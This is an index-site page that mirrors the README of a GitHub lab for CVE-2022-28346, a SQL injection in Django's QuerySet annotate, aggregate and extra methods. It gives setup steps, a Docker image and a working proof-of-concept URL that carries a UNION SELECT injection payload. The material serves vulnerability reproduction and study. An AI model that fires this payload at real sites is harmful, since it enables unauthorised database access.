Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/DeEpinGh0st/CVE-2022-28346

Django QuerySet.annotate(), aggregate(), extra() SQL 注入
https://github.com/DeEpinGh0st/CVE-2022-28346

Last synced: about 2 months ago
JSON representation

Django QuerySet.annotate(), aggregate(), extra() SQL 注入

Awesome Lists containing this project

README

        

### CVE-2022-28346
Django QuerySet.annotate(), aggregate(), extra() SQL 注入

### 环境初始化
```
1.python manage.py makemigrations
2.python manage.py migrate
3.访问http://x.x.x.x:8000/ 插入初始化数据
```

### 漏洞复现

```
访问http://x.x.x.x:8000/demo
POC: http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --
```

![image-20220426224053969](./image-20220426224053969.png)

### Docker

```
docker pull s0cke3t/cve-2022-28346:latest
```